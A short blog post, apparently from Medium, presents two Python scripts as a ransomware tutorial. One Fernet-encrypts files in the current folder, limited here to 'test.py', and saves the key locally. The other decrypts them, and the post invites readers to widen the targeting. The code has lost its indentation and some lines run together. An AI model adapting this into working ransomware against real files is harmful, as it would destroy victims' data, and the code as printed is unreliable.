Encrypt And Decrypt Files With Python -Ransomware

To day we are going to do our ransomware with python, first we have to encrypt the data we want and then create a decrypt file for decrypting.

Start with encrypt tool, i only wanted encrypt test.py file for testing, if you want you can change the code as you wish,

from cryptography.fernet import Fernet
import os
#lets find files and make them a list
files=[]
for file in os.listdir():
if file !="test.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)sifre=Fernet.generate_key()
with open("sifre.key","wb") as sifree:
sifree.write(sifre)
for file in files:
with open(file,"rb") as thefile:
contents=thefile.read()
contents_encrypted=Fernet(sifre).encrypt(contents)
with open(file,"wb") as thefile:
thefile.write(contents_encrypted)

Test file encrypted successfully and we created a key file for decryption.

Create a py file as decrypt.py, and make changes like down below,

from cryptography.fernet import Fernet
import os
#lets find files and make them a list
files=[]
for file in os.listdir():
if file !="test.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)with open("sifre.key","rb") as key:
secretkey=key.read()
for file in files:
with open(file,"rb") as thefile:
contents=thefile.read()
contents_decrypted=Fernet(secretkey).decrypt(contents)
with open(file,"wb") as thefile:
thefile.write(contents_decrypted)

and thats it we created out encrypt and decrypt tool with python easyly,

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store